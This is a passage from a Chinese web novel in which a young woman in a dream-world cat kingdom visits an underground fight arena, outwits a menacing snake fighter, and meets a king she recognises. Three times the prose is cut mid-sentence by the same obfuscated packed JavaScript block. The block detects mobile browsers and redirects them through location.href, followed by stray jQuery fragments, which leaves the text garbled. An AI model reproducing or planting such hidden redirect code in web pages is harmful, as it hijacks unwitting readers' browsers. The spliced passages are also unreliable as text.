墨丘长腿一勾,把门口的人饭速递踢进了门。 他本人也跟着进来了。 原来两只都是猫。 裴心念默默看着星云把速递箱子拆开,思索这里究竟是广义的兽世,还是“猫之国”。 毕竟见到的两个生物都是猫,没有反例,无法推翻普天之下全是猫的假设。 “你吃什么?这笨猫还没做好?”墨丘四下看了一圈,没发现任何食物的踪影,不管是人饭还是猫饭,都没有。 “我去厨房。”星云推开墨丘,忍住不把这个冒犯的猫丢出去。 “念念,过来吗?” 他实在很不放心人类和这个狡诈的贩子待在一起。 万一一个颠锅的时间,他就把人给拐跑了呢! “呃,等等。”裴心念一听见他推开厨房的门,上一周目的痛苦回忆不禁袭上心头。 即使是从那堆难吃的糊状物里千挑万选的虾仁,也很难以下咽。 她低头指了指地上的预制人饭,想着还是吃点科技产品好了。 毕竟包装完好,应该不会太难吃。 她不是很敢想象,如果星云想给她更好的伙食,究竟又会往锅里放什么料。 “我还是吃这个吧,好饿。” 她可怜地扁扁嘴,希望星云能理解,再等一会儿就要饿扁了! 星云的眼神暗了暗,似乎很失望。 “好吧。” “你的东西,安全吗?”他指指地上的速递,问墨丘。 此猫是个奸商,身上有多份兼职,其中星云知道的就有拳场招待和速递员这两份工作。 至于其他的,看他那副贪婪模样,应该为了挣钱还有第三份第四份副业。 “那当然,上面还有王室监察的邮戳,随便检查。”墨丘摊了摊手,“这可是我新去仓库取的货,正好拿个新鲜,不要就没有了。” 星云一巴掌拍亮了客厅的大灯,好歹让光线变得明亮许多。 他轻松端起看起来不轻的箱子,仔细研究上面的防伪标志。 裴心念的目光在两人之间划过,将他们遇光变得细窄的瞳仁尽收眼底。 “王室监察”,这里居然还是君主制吗? 按照她不甚了了的历史知识,这种科技高度发达的文明,如果保留的是君主制度,多半爆发过惨烈的战争。 换句话说,君主制和高度发展的生产力并不匹配,是后期因为特殊原因而重新出现的。 它们和谁打仗? 裴心念的思路很快飞到了人类这个物种身上。 很合理嘛,想象一场人猫大战。打到最后,是猫猫统治世界。 她发呆畅想的几个瞬间里,星云已经检查完了包裹,确认没有问题,又拦住了多次墨丘的小动作。 墨丘的第五次尝试以失败告终。 他本来想趁此机会,碰一碰人类的头发。 到底会是什么质感呢? 看起来很好摸的样子。 29.第四关(4) “念念,要吃吗?”星云把速递里面的内容物指给她看。 所谓的预制人饭,其实就是富含可可的压缩饼干,再加上一瓶猫猫过敏的牛奶饮料。 完全是把猫不能吃的都丢给人类了! 裴心念点点头,在两只猫虎视眈眈的目光下,慢悠悠地开始吃她的饭。 压缩饼干和人类社会的款式很像,干干巴巴,她每一口都很费劲。 不过牛奶配可可还是很不错,甜甜的。 “不着急。”星云伸手,想要尝试给她擦掉嘴边的碎屑,结果涨红了脸也没找到合适的时机触碰。 裴心念没有抬眼,低垂的视线刚好可以仔细观察对方的手。 星云的皮肤是和本体豹猫颜色更接近的蜜色,指节很粗,即使是犹豫不决地停留在空中,也能看出这只手是行动敏捷非常灵活的,上面有明显的老茧。 裴心念眼瞧着星云顿了好一会儿,才把自己的手收回去。 他咳嗽了两声。 “还剩多少人饭?”星云沉声问,“我都买。” “这就是全部了。”墨丘依然看着裴心念,轻松道,“我又不知道会遇到这位可爱的人类小姐。” “说起这次跑市,差点因为这点人饭没抢到足够的强化剂。”墨丘一看就是个十足的商人,用尽一切机会推销,“你这里的货还够不?要不要补充点。” 强化剂又是什么? 裴心念当然在她自己生活的语境中听过强化剂,那可不是什么好东西,是给被病痛折磨到无法忍受的患者,或者极化状态中的实验品用的。 “不用。”星云沉默了半晌,最后才得出的结论。 他是很纠结。 拳场到处都是可能取他性命的危险,本来应该有多少强化剂买多少。 可是现在不一样,他是有人的猫了。 得攒钱给她买人饭、人衣服、人玩具…… 家里的暖气也不能像之前一样说断就断。 “你们拳场里面都有什么啊?”裴心念咽下费嗓子的饼干渣,问道。 她可还记得刚才和星云请求不成,对方不让自己跟去地下拳场。 这种地方涨的解析度应该很可观,不能放弃。 “哦,你没和她讲过?”墨丘弯起眉眼笑了起来,“你和她也不是很熟嘛。” “你!” “念念你看,他不让我跟你说实话。”墨丘无辜地摇摇头,闭上了嘴。 “我想听,这也不能听吗?” “那我什么都不知道,你要把我一直丢在这里吗……”裴心念小声说。 “哎呀,我都听不下去了。”墨丘接着话茬,给她讲解,“拳场呢,主要就是看着下注,几个不同的拳手在场上对打,押中胜者有赏。” “西伯利亚的极夜之地是猫科的领土,所以一般取胜的是老虎豹子之类的。” 原来真是极夜的猫之国啊。 “不过也有小部分时候,会出现特别的拳手。” “比如这几天的新星,那条蛇,对吧?”墨丘比划了一下,“据说它的原形能从这里一直延长到剑麻大街。” “蛇不怕冷吗?”裴心念疑惑,既然这里是所谓的极夜之地,根据她的亲身体验,是连恒温动物都待不住的低温。 “谁知道呢,说不定是个变异品种。”墨丘无所谓地耸耸肩,“不过你要想去,我可以带你去。” “不用管这只猫,我看他也不是很想好好养你的样子。”墨丘凑得离她更近一些,“哪有养人类把她困在家里的?简直是虐待。” 星云沉默着挡在了一人一猫之间。 “一起去。” 裴心念如愿混入了星云和墨丘所工作的地下拳场。 因为极夜,这个地方完全没有白天,无论何时出门,都需要灯光的照明,否则无法看清楚路面。 ——当然,这是对人类而言,猫科动物并不在意这些,他们能在夜间很好地保持视力,因此极夜的影响并不大。 墨丘领着她混进一旁兜售加注砝码的队伍中,星云则是走了另外一条通道。 本来星云想要自己带着裴心念走,只是今晚的赌注太大,上次又有前车之鉴,如果跟着他,她可能会被盯上。 “你必须保证她的安全。”星云一再叮嘱,分开之后走了好一段路,又想折返回去,可惜早就在人潮中找不见她了。 刚走进地下拳场,裴心念就忍不住觉得鼻尖很痒,忍了又忍,还是捂着口鼻打了个喷嚏。 她没有猫毛过敏,但是这里猫太多了!一个个看着都是人形,难道就算没有实体的猫毛,也会有精神攻击吗? 裴心念很疑惑。 好在修改器的进度在稳步上升,即使每次只有1%,也安抚了她受到冲击的心灵。 “新型强化剂,新星专用款!” 有人贴着她的身侧擦过,墨丘手快,一把将她捞走,避免拦路冲突的发生。 “这个强化剂到底是干什么用的啊?”裴心念问他。 之前星云一直不愿意回答这些问题,看起来还是墨丘比较容易说话——虽然可能油嘴滑舌,添油加醋。 “打擂台的喜欢用。” 墨丘对此如数家珍,也不避讳,直言道,“你简单理解,就是让动物受了伤也不会痛,站在台上被揍了十几拳还能站起来。” 像是打比赛时的特制版麻药,但专门麻痹痛觉,其他的灵敏度不受影响。 “这样的东西,副作用不会很大吗?”周围实在太嘈杂,裴心念只能贴到对方耳边说话。 “当然了,剂量越来越大,需要不停更换,不管停不停,都是一身病。”墨丘啧啧道,“所以我说,那只豹猫虽然动作快,但没有前途,你别跟着他了。” “换一个家怎么样?”墨丘的蓝眼睛在场里反射出凛凛的波光,乍一眼看上去,竟然能称得上是温柔如水。 不过他说的话还是跟奸商脱不了干系。 “这个我之后再考虑吧。”裴心念坦然道,她需要跟着星云刷解析度,这个缅因偶尔换换手感也就得了,没必要离开梦主。 毕竟梦主只是小猫而已,让小猫伤心的事她做不到。 她被拉着整个拳场跑了个遍,虽然这是室内,加了光源设备,但鉴于猫科良好的夜视能力,光线基本上也没比外面好上多少。 在昏昏沉的拳场中,最主要的就是一座座的擂台,外圈有星星点点大约二十多座小擂台,众星拱月地包围着中心的下沉式广场。 最上面是一圈一圈的观景台,风格粗犷,类似于古罗马的斗兽场,砖石上甚至有新鲜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17002451|191972||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的血迹。 看到第一处的时候墨丘捂住了她的眼睛,“你晕血吗?” 裴心念在他的手掌下摇摇头,他才抬起手,很自然地在她脑袋上连着揉了好几下,手法跟撸猫也差不多了。 “那是今天的新血,暂时没有清理,也是一种特色。” 裴心念没吭声,像是被什么奇异的力量吸引住了,抬起脚,一步步往那边的血迹靠近。墨丘一时没拉住,反应过来,要把她带走。 裴心念没动,她的行为当然有自己的道理。 就像现在,她是为了增加手中修改器的进度而挪动的脚步。 那处血迹好似有着特殊的作用。 (本次梦境关卡解析进度:96%。) (关键节点辅助:认出哪一只才是你养过的小猫。) 怎么又变成人养猫了?难道这里不是猫养人吗? 裴心念疑惑,下一秒被墨丘拉到了一旁,混进人潮里。 等她抬眼再去看时,那处血迹之前,又多出了一个人。 “这个就是大家说的新星,毒蛇莱恩。” 裴心念默默记住这个名字,总觉得有点耳熟。 魅魔蒋淮之的竞争上岗对手,是不是也叫莱恩? 不过这是个挺大众的名字,撞了也正常。 毕竟一只魅魔和一条蛇,还是有生理构造上的区别。 她踮起脚尖,在周围逐渐聚拢起来的人头之中,尝试看一看对方的模样。 银白头发,身上有亮晶晶的锁链。 不像是任何一位她认识的人呢。 她的视线还没来得及收回,那人群中央的人若有所感,快速锚定了裴心念的位置,转身回望。 裴心念立马像萝卜一样蹲下了。 手心发汗,一种熟悉的恐怖攫住了她。 和之前在陈清泉的书房门口遇见的东西,很像。 她这次如此匆忙地进入塞塔梦境,最重要的原因就是想确定祂到底是什么。 裴心念眯起眼睛,以对方找到她的速度来看,这东西能在很远的地方锚定是她。 凭借什么?系统定位、气息比对,还是什么其他的乱七八糟的方法,譬如心灵感应之类的? 万一此莱恩和魅魔世界的莱恩是一个莱恩,说不定还是因为主仆契约呢。 裴心念乱七八糟地想了一通,等到人潮涌动起来,莱恩也上了擂台,不再看她。 一切似乎都只是她的错觉,或许只是蛇的阴冷在这猫科聚集的地方分外扎眼而已。 “这里有没有人养猫的情况啊?” 裴心念目视前方,一边悄悄问旁边的墨丘。 观景区人声嘈杂,可以将窃窃私语藏入其中。 “人养猫?”墨丘向她靠近,人形状态下不存在的耳朵似乎都竖了起来,正在朝前翻动,饶有兴致地捕捉她小小的声音。 “你要养我吗?”他很期待似的,脸颊主动贴到裴心念的脸边,热情得不得了。 ……感觉有人瘾,怎么回事。 裴心念只好解释:“不是,就是有点好奇。” “其实如果这样的话,他养你,你养我也可以啊。”墨丘依然沉浸在自己美好的设想里,一双蓝眼睛眯起来,笑得相当迷醉。 “我是很愿意的哦。” 30.第四关(5) 裴心念不得不伸手把他推远了一点,严肃道:“我是说真的,没有要自己养猫的意思。” “好吧。”墨丘仔仔细细地观察了她的表情半天,最终失望地停止自己的幻想。 “其实在圣战之前,人就是养猫的。”他调整自己的表情,又变成那个似乎什么都能说上几句的圆滑奸商,“不仅养猫,什么动物都养得。” 这听起来像是她熟悉的人类社会。 裴心念点点头,表示自己理解了。 “不过后来整个星球上气候极端分裂,动物有了化形的能力,有一些特殊的幸运儿获得了身体素质的加强。” 他努努嘴,示意裴心念去看台上的两个人,“就像他们,一个是速度超常,一个保留了毒液攻击的能力。这些能力者在圣战里迅速控制人类首脑,最后就变成了这样。” 之前她估算的猫猫王室上位时所爆发的恶战,大概就是圣战吧。 裴心念没跟着他去感慨这些所谓的特殊能力,而是抓住了这条消息和自己任务之间的交汇点,问:“圣战距离现在有多久?” “不到五个纪年。” “五个纪年,是人类计时五年的意思吗?” 裴心念得到了肯定的确认。 那就是说,距离她可以正大光明养小猫到现在,也不过就五年时间。 五年,之前养的小猫成精了,在时间上是可行的。 但她具体要怎么找呢? 光说现在这个偌大的场所里,也至少有上千只猫科动物,排除实在养不起的大型猛兽,可以家养的小猫也得有个几十上百只吧,无异于大海捞针。 “圣战前后的小猫,会记得之前的事吗?” 裴心念决定继续向墨丘讨教。 “不一定,要看有没有被打过脑子。”墨丘指了指自己的脑门,动作轻佻,轻轻崩了一下。 裴心念的第一反应是回想星云的表现。 他好像有点太过于相信人了,一见面又过分亲近自己,会不会就是她曾经的小猫,而且伤到了脑子呢? 她轻轻晃了晃墨丘的手臂,对方本来打算继续冲到人群中去兜售他的产品,却被她的动作弄得停住了脚步。 “想去更近的地方看?” 裴心念点头。 于是两人就这么无票通行,墨丘看起来在拳击场里扎根多年,有进入最佳观景位的门道,或许是他接下来要用什么货物来进行交易。 不过裴心念对此并不在乎,她脑中现在除了关键节点要认小猫之外,就是莱恩和该死的杀手到底是不是同一人。 这场比赛是莱恩和原本的场馆第一的擂台赛。 在一浪高过一浪的欢呼声中,场上的选手居然还没有现身。 按照时间,这就是上一周目让星云重伤的那场对决。 她忘不了先前那个银发男子身上的阴冷之感,有点担心。 万一等下打着打着,又掏枪指着她怎么办! 总不能拿水管挡开吧。 “你有没有什么……防护罩之类的东西啊?”裴心念尝试从墨丘这里再薅点东西。 “你要这个做什么?” 被问的人很疑惑,不过他不像是手里没有对应道具的样子。 简直是百宝袋一样的存在! “你想啊,我一个人类出现在这种地方,万一被发现不就成了众矢之的,谁知道有没有极端恨人派呢。”裴心念伸出一只手,紧紧拢在他耳边,几乎是贴着墨丘在小声说话,生怕被别人听见。 “最好是能防枪的那种。”裴心念见他动摇,连忙得寸进尺,补上自己的要求。 “枪有什么可怕。”墨丘摇摇头,“那是你们人类的武器,你不如保护一下自己的皮肤。” 裴心念拧起眉头,想了一会儿也没听出来对方是在调侃还是在说真的。 “皮肤屏障,免得被抓伤或者咬伤,这是在西伯利亚最需要的一门防身功夫。” 墨丘看出来她误会了,泛着精光的蓝眼睛弯了弯。 在他看来,她像个旧时代被冰封在冰块里,最近才刚刚苏醒的活化石人类。 怪不得这么让猫喜欢。 生来就是要当主人的样子呢。 墨丘递给裴心念一颗泛着淡淡蓝光的药丸。 据他说,这是即时屏障,咬破可以暂时全方位以冰层的能力保护她。 裴心念默默把它含在了舌头下方。 谁知道什么时候就会突然—— 眼前一阵旋风,将她的头发都吹散。 裴心念一瞬间无法动弹。 她所处的位置是整个观景台最入口的地方,周围聚了不少人,此刻的尖叫声此起彼伏,几乎快要击穿她的耳膜。 ……猫叫起来真是太废耳朵了。 这一切的始作俑者,就是方才顶着一头银发的毒蛇。 莱恩仿佛真是和她绑定了什么同步的定位器,神出鬼没,无论如何都能发现她的位置。 裴心念被拽出去十几步,险些在脚下沙地扬起的尘土里迷了眼睛。 墨丘嘴皮子功夫厉害,但在莱恩这个□□面前,根本来不及动作。 他现在只能祈祷裴心念能足够镇定,想得起来他刚刚介绍的防护珠使用方法。 在面对十足危险的猎手时,猎物有可能会冻住,不是所有人都能挪动脚步逃跑的。 “你怎么到处乱跑呢?”莱恩轻轻笑起来,这次的声音和上次走廊的声音虽然不像,但又有种诡异的重叠。 裴心念警铃大作。 她疯狂地操作修改器,尝试在对方咬上来之前解析,该如何击杀祂。 修改器的底层代码是为塞塔梦境的机制,即梦主和梦主的任务服务,所以会自动运行对关卡本身及关键节点的分析。 但就像上次她对陈清泉意识体的分析一样,只要她想要进行针对特定意识的编码,就必须临时操作修改器。 一般要在离得很近时候,比如现在。 “咦——” 裴心念龇牙咧嘴,对方居然偏头转向了她的脖颈,那里非常脆弱,万一被注射毒液,可以顷刻毙命。 她已经咬破了珠子,整个口腔的苦味在同时攻击她。 然而莱恩居然只是轻轻碰了一下她的皮肤,貌似没有继续威胁她安全的意思。 怎么回事? 裴心念的大脑飞速运转,不知道这是证明她估计错了,还是对方突然大发善心。 (本次分析进度:50%。) (请收集情绪波动或心率飙升时的人物数据。) “主人怎么闻起来苦苦的。” 这句话一出,她所有的假设和侥幸都破灭了,只能释怀地笑。 就是他,一直在第三关追杀自己!! 裴心念怒从心头起,双手抽出水管,对照修改器刚刚全息投影出来的位置,重重地一下敲在对方的脖子上。 这一下,用了巧劲,震麻了蛇人身七寸的位置。 “咔!” 莱恩所有的动作都停止了。 “你——咳咳咳!” 她本想放点狠话,结果自己也被珠子的味道苦住了,整张脸皱成了苦瓜。 她是多么狂热的甜品爱好者,就对苦味有多么深恶痛绝。 这个剂量简直是致死量! 裴心念跑开几步,眼看着莱恩倒地不起。 “不是我干的……”她委屈道,仗着场上尘土飞扬,开始睁眼说瞎话。 追上来的墨丘看着她,沉默了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17006510|191972||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 刚刚他想的是什么来着,人类小姐能有办法咬破珠子就已经很好了。 结果她不知道怎么把拳场上的打手放倒了。 这是什么品种的人类? 怎么跟他认知里的不一样。 因为莱恩的突然不明原因晕倒,本次赛事延迟一小时处理。 星云暂时下场整顿。 他没有利用这些时间休息,而是跑着来找裴心念,想要确认她是否安全。 他实在不是很放心她一个人类在这里。 哪怕墨丘确实是他见过在拳场里最有手段的商人,也不意味着他能够完全保护她。 “看见莱恩了?”星云对跟在裴心念身后的墨丘皱眉,“没用的猫。” “不是,我哪有办法啊。场子就这么大,他长了腿当然能来。”墨丘有点没缓过来,说的话都没有之前阴阳怪气了。 “蛇好像没有腿哦。”裴心念小声说。 “……” “念念,还是回去。”星云担忧不已。 裴心念正要尝试说服,准备开赛的铃声又响了起来。 星云一步三回头,前往候场区域。 裴心念当然不能走。 即使和星云商量好了要离开,她也会用点方法继续停留的。 毕竟这里可是能解析出关键节点的地方,可利用的资源数据一定更多。 她需要这些来帮助分析,究竟怎么弄死莱恩。 修改器的进度还在跑着呢。 钟声响起。 裴心念扭过头,看到场中尘埃飞扬,已经分不清星云和莱恩的身影到底谁是谁了。 “这个。”墨丘变魔术一样,从口袋里拿出一副造型奇特的眼镜,替她戴上。 这幅眼镜两边不对称,左边是上翻的遮阳板模样,右边则是模拟了半颗眼球的形状,很是古怪,称得上是一边站岗一边放哨。 一戴上去,裴心念就来不及吐槽它的奇怪外形了,眼前的场景被放大了数十倍的样子,她能透过烟尘在其中清晰分辨出星云的身影,看得到他向后避让的狼狈动作。 唯一可惜的就是她自己的视力实在太差,没有办法完全还原清晰的场景,只能带着模糊又超清的怪异感观赛。 墨丘依然帮她扶着眼镜,两人在嘈杂的场馆中挨得很近,都在小小声地呼吸。 裴心念猛地一缩脖子。 她不是在躲墨丘,但对方显然是如此误会了,嘴角向下撇,蓝眼睛也垂了下去。 她在眼镜中看到莱恩躲开一击,朝着她的方向笑。 然后他碰了碰自己的唇边,似乎在召唤什么东西。 天上飞来一只青鸟,停在选手的耳边。 “看看我在这里发现了什么。” “我们请这位珍稀的人类小姐上场见证吧。” 场中一片哗然。 裴心念被墨丘死死拉着,这家伙这会儿倒是反应过来,急忙说:“我们走地道!” 居然还有这种门路。 裴心念讶然,对他摇摇头。 她当然要好好利用这机会。 在比赛场上心率飙升的可能性,比场下要大多了。 她松开墨丘的手,顺其自然地被旁边好事的一双双手推了出去。 星云目前是以猫的形态站在场上,见她被推出来,整只猫都炸了毛,变成一团看起来很魁梧的小豹子。 【怎么……还没走……】 【上次……保护……】 小猫很焦虑。 裴心念从容走到场上,站在两个如今拳场中最炙手可热的选手中间,全然没有人类是被捕食者的自觉,仿佛在逛自家后院。 台上此起彼伏的喧闹声为之静了一静。 “怎么见证?” 31.第四关(6) “你在中间,作证是否存在违规行为。” 青鸟在他耳边简直是个超级大功率的扩音器。 整个场馆面积起码也有近万平米,这小东西居然能把声音传遍每一个角落,让所有观众听见莱恩的挑衅。 裴心念眯了眯眼,看来虽然私养人类有罪,但人类自己出现不算什么大场面。 因为在场并没有猫对此有什么意见,只是一味地在起哄。 当然也有可能是因为地下拳场本来就是法外之地,大家见怪不怪。 她蹲下来顺了顺星云的毛,不慌不忙道:“这个场是不是早就在找这样的人类了?” “怎么这么好心,给我介绍工作机会。” 裴心念的耳朵不是摆设,从刷新地两个酒馆的话以及之前墨丘的暗示中,都能听出来,很多地方其实是在招人类员工的。 不过具体目的是正常提供人力,还是供猫观赏取乐,那是另一回事。 “当然要为主人着想了。”莱恩伸出两根手指,把耳边啾啾飞动的小鸟瞬间捏碎,血溅了他一脸。 “咦——”裴心念退了两步。 这条蛇怎么回事,喜欢到处搞点凶案现场的痕迹,真的很不讲卫生。 身前的星云反应更大,那看起来像是蓬松毛发撑起来的身子实打实暴涨了一整圈,严严实实挡在她面前,从喉间发出低吼,满是对挑衅者的敌意。 裴心念瞪大眼,很新奇。 怪不得说圣战前后动物变异了呢,居然真的可以从小猫变成豹子啊! 她抚摸安慰的手停住了,星云倒是一边退后一边用后颈的位置蹭了蹭她。 【一定……把他……弄死。】 哎呀,凶悍小猫。 裴心念正在感慨之中,从空中忽然降下一个红色的光圈,正正好划定了最大擂台的中心位置,把她和星云分开。 她被圈在其中,前面似乎有了实质的墙,无法踏出一步。 这是拳场主办方对莱恩提出建议的采纳。 裴心念仰头看,并没有从如雪光一样的天顶上看到任何端倪。 好吧,看起来还能保护她的安全,挺不错。 裴心念找了个舒服的位置,盘腿坐下。 疑似史上最松弛的人肉障碍物。 星云和莱恩绕着她,开始了今日正式的搏斗表演。 裴心念一开始以为这个拳场是资金不足,所以要把最大的擂台做成这种破烂模样,满场飞沙走石。 现在想想……可能是为了卖观景眼镜的。 真是无处不奸商,不管动物还是人类都是如此。 她扶了扶自己的鼻梁,很遗憾,眼镜没带上来。 这也就导致了裴心念即使身处战场之中,也只能看到满天的扬沙,根本连两个拳手现在是人是猫还是蛇都看不出来,只能凭借场边观众的反应,来判断什么时候进行到了精彩处。 莱恩一直在尝试向裴心念的红圈这里靠近,星云则拦着他。 鉴于方才裴心念给其中一蛇造成的暴击,莱恩状态不佳,一直没有得逞。 不过她也一直没等到修改器报告,说明莱恩的心率依然平稳。 这可真是难办。 裴心念伸手,在沙地上划了个圈。 ……好像有突起。 她专心研究身旁的机关,可尘雾中猛地扑出一条银蛇,在雪光与沙尘中分外震撼。 紧跟着出现的是星云的人身形态,他扑手就是啃咬,裴心念只能看到一个定格的瞬间,接下来的结果一概不知。 【警告】 她心中一紧,嗖地站了起来。 这声音,是塞塔梦境的系统,难道星云又被蛇咬了?! 【本次任务判定中——】 【梦主攻略任务失败】 原来是时间到了。 “诶诶诶,等等!” 第一次出现梦境判定比梦主挂掉还快的情况,裴心念手忙脚乱地给修改器递送了她的判断。 “我的小猫是星云,对不对?” (关键节点判定中——) (关键节点判断错误。) 她眼睁睁看着一只巨大的毛茸茸破空冲过来,无视那堵用科技铸成的墙。 可惜完全无法突破。 裴心念闭眼,不得不接受她和她的猫双双失败的现实。 第三次,裴心念出现在这个冻得人发抖的西伯利亚冰原。 星云不是她的猫,那谁是? 总不可能是墨丘吧。 裴心念郁闷地等待着星云的到来。 这次星云没有任何犹豫,一找到她就打猫车,避开墨丘的纠缠加速回了家,并包扎好伤口,又做了水煮大虾。 这些都不奇怪。 可是,星云居然同意了让她一起去拳场。 不知道他在想什么,总之出发的时候是一副斗志昂扬的模样。 裴心念又被叫上了场,端坐在最大的擂台正中间。 这次她装备齐全,戴上了特制的眼镜。 如此,她总算能够看清一猫一蛇究竟在哪个方位,以及场边观众的狂热。 总是看别人热闹,这下成了风暴的中心,裴心念倒也怡然自得。 她的目标是让莱恩心跳加速被吓死。 这事有点困难,她在等待一个时机。 星云因为多次回溯带来的记忆,对莱恩的出招方式有了印象,刚开场就占了上风。 两人目前都是人形,正在以人类场馆里的拳击手状态对决。 莱恩躲闪不及,右眼边被狠狠攘了一圈。 打得好。 裴心念很卖力地给星云鼓掌喝彩,结果就是他越来越起劲,几乎每个转身都有拳头在等着莱恩,他被迫改换了蛇形。 裴心念微笑起来。 她上周目摸到的机关,是人类文明的遗留物。 一般在这种宽阔的场所,需要捕获猎物时,会采用下陷的陷阱,以此困住猛兽,不说底下会不会有荆棘木刺,起码也能饿得动物头昏眼花、束手就擒。 这个机关非常隐蔽,显然建造场所的人对自己太过有信心,并没有一寸一寸地检查人类留下来的东西。 “星云,这里!” 她招呼场上驰骋的豹猫,把它唤到自己身边来。 正在决斗之中的豹猫居然真能听见人类细细的喊声,毫不犹豫地四足张开,飞快地奔到她眼前。 莱恩紧随其后。 “对,右边三点钟方向。” 裴心念像个有多年驯兽经验的宗师,清晰地说出指令。 星云照做,虽然不知道人类这样是要干什么。 或许只是想看看这个角度的它吗? “轰——!” 一时之间场内如有雷动,年代久远的尘埃从地底下升起,哪怕是戴着最好的特制眼镜,此时也看不清究竟发生了什么。 裴心念主修的是智械系统设计,但也略通一些距离测算。 她把莱恩引到了那陷阱的正上方,下盖子捕蛇。 (本次意识体解析进度99%……100%。) (正在生成并整理资料中。) 她松了一口气。 这巨大的动静甚至硬生生把她周围的屏障也击碎了,裴心念得以脱身,站在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17011560|191972||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 陷阱上方往下看。 刚开始还能隐约看见一条蛇形,紧接着居然如雾般散开。 再定睛瞧时,底下空无一物。 又跑了。 裴心念磨了磨牙,好在这次她拿到了更多的信息。 (该意识体为塞塔梦境流窜危险物。) (可能由梦境系统训练生成或同化而来,对异常NPC有强攻击性。) 唉,玩了这么久,她这个异常NPC终于被发现了吗。 裴心念对此并不意外,又查了查应对的方式。 (收集其掉落或赠送的道具,可以限制流窜意识体的行动。) 裴心念正思索着这解决方式具体要怎么执行,冷不防听到星云的声音。 变小只的猫委屈地蹲在身旁,急得喵喵叫。 三周目的心声太模糊了,她实在很难在莱恩的惨叫声中听清,只有“人”、“人”、“人”这个字是明白无误的。 小猫很担心她。 这里闹出来的动静实在太大了,会被整个场馆的经营者问责—— 他不敢说能保护人。 裴心念确实被带走了。 不过她第一个见到的问罪者,倒是出乎意料。 “墨丘?” 这个贪小便宜的小猫商贩,居然是场馆的拥有者。 怪不得,见到星云要劝他去上班呢。 怪不得,什么货都有,还能无痛挤进前排。 合着是东家啊。 蓝眼睛的商人并没有上一周目的记忆,斜斜睨着她,眼中却有与先前同样的兴味。 “人类小姐,很遗憾,你得去王庭走一遭了。” “在这之前,告诉我该怎么称呼你吧?” 一片漆黑中,裴心念亦步亦趋地跟着墨丘。 这里实在是太考验她的视力了,本来就聊胜于无的东西,依赖起来很是心酸。 只好拉着前面领路人的华贵衣料,走了几步,手里抓着的又换成了毛茸茸的尾巴。 墨丘依然是人形在前面走,只是银灰相间的蓬松尾巴却摆来摆去,让她牵着。 “为什么毁坏你的产业,要来王庭啊?” 裴心念忍不住问,万一这里有什么奇怪的私人财产保护律令,她得先打个辩论的腹稿,更稳当些。 墨丘笑而不语。 直到大殿的门被霍然推开,守卫的侍者恭敬地对墨丘弯腰行礼。 “殿下。” ……好吧,你们王室也是搞起副业了。 难怪卖的预制人饭上有王室监察的邮戳。 裴心念扁扁嘴,继续往里走。 她已经完全不思考什么口舌之法了,满脑子都是水管的一百种使用方式。 或许用在越狱的时候,成功率更高? 或者直接等待周目进行结束,躺着也是一个选项。 “这就是你说的犯罪人类?” 大殿之上的人沉声问,因为光源的设计,强光直接从王座上降下,根本看不见上面的是人是鬼。 这可能是猫的国王吧。 “是的,就是她把梵西诺角斗场炸了。”墨丘微笑着回答。 裴心念刚想为自己争取一下,就听到他的下一句:“厉害吧?” ……不带这么挑衅的。 裴心念没听到国王对这句话的回复,只听见墨丘继续道:“我要和她成为伴侣。” 等等。 裴心念不能理解这个莫名其妙的转向,忍不住抬眼直视王座的强光。 “我看她可能还要选一选。” 圣光中的国王走下来,说的话也是不明所以。 32.第四关(7) “选什么——” 裴心念的话说到一半,咽了回去。 一张熟悉的脸,突兀地出现在眼前。 “你太骄傲了,念念。” 荀行的目光在她手中的银灰色猫尾巴上扫了一圈,才重新看向裴心念。 “没有想到别人也能进来?” 这下墨丘变成了听不懂哑谜的那个。 “我在这里做了三次烤面包,每次都在快要开烤箱的时候重新来一遍。” 荀行的语气很平淡,似乎在讲一个并不好笑的笑话。 “不出意外的话,下一次还是照旧。” 裴心念耸耸肩,梦境关卡就是这样,不会管你究竟做了多少个好吃的小面包。 “不让我跟你单独聊聊吗?” 她反客为主,没有任何询问这位君主的意思,自己自顾自上前几步,就为了仔细看看荀行脸上有没有小猫限定的特征。 比如竖向的猫瞳。 可惜并没有,连眼睛的颜色都还是沉沉的棕黑,一点儿也不与时俱进,变成可爱的蔚蓝或者碧绿。 墨丘完全没有想到眼前两人像是认识许久的友人,完全把他排挤在外了。 “陛下,您不追究她的责任吗?” “你带她进来就是要问罪的?”荀行淡淡问道。 墨丘哽了一下,这倒确实不是。 他准备求赐婚的来着,王上怎么当作没听到? “出去吧。” 荀行下达了命令,墨丘还要挣扎,结果直接被某个启动的传送阵扔了出去。 “他和你现在的身份是亲戚吗?”裴心念默默目送墨丘的离去。 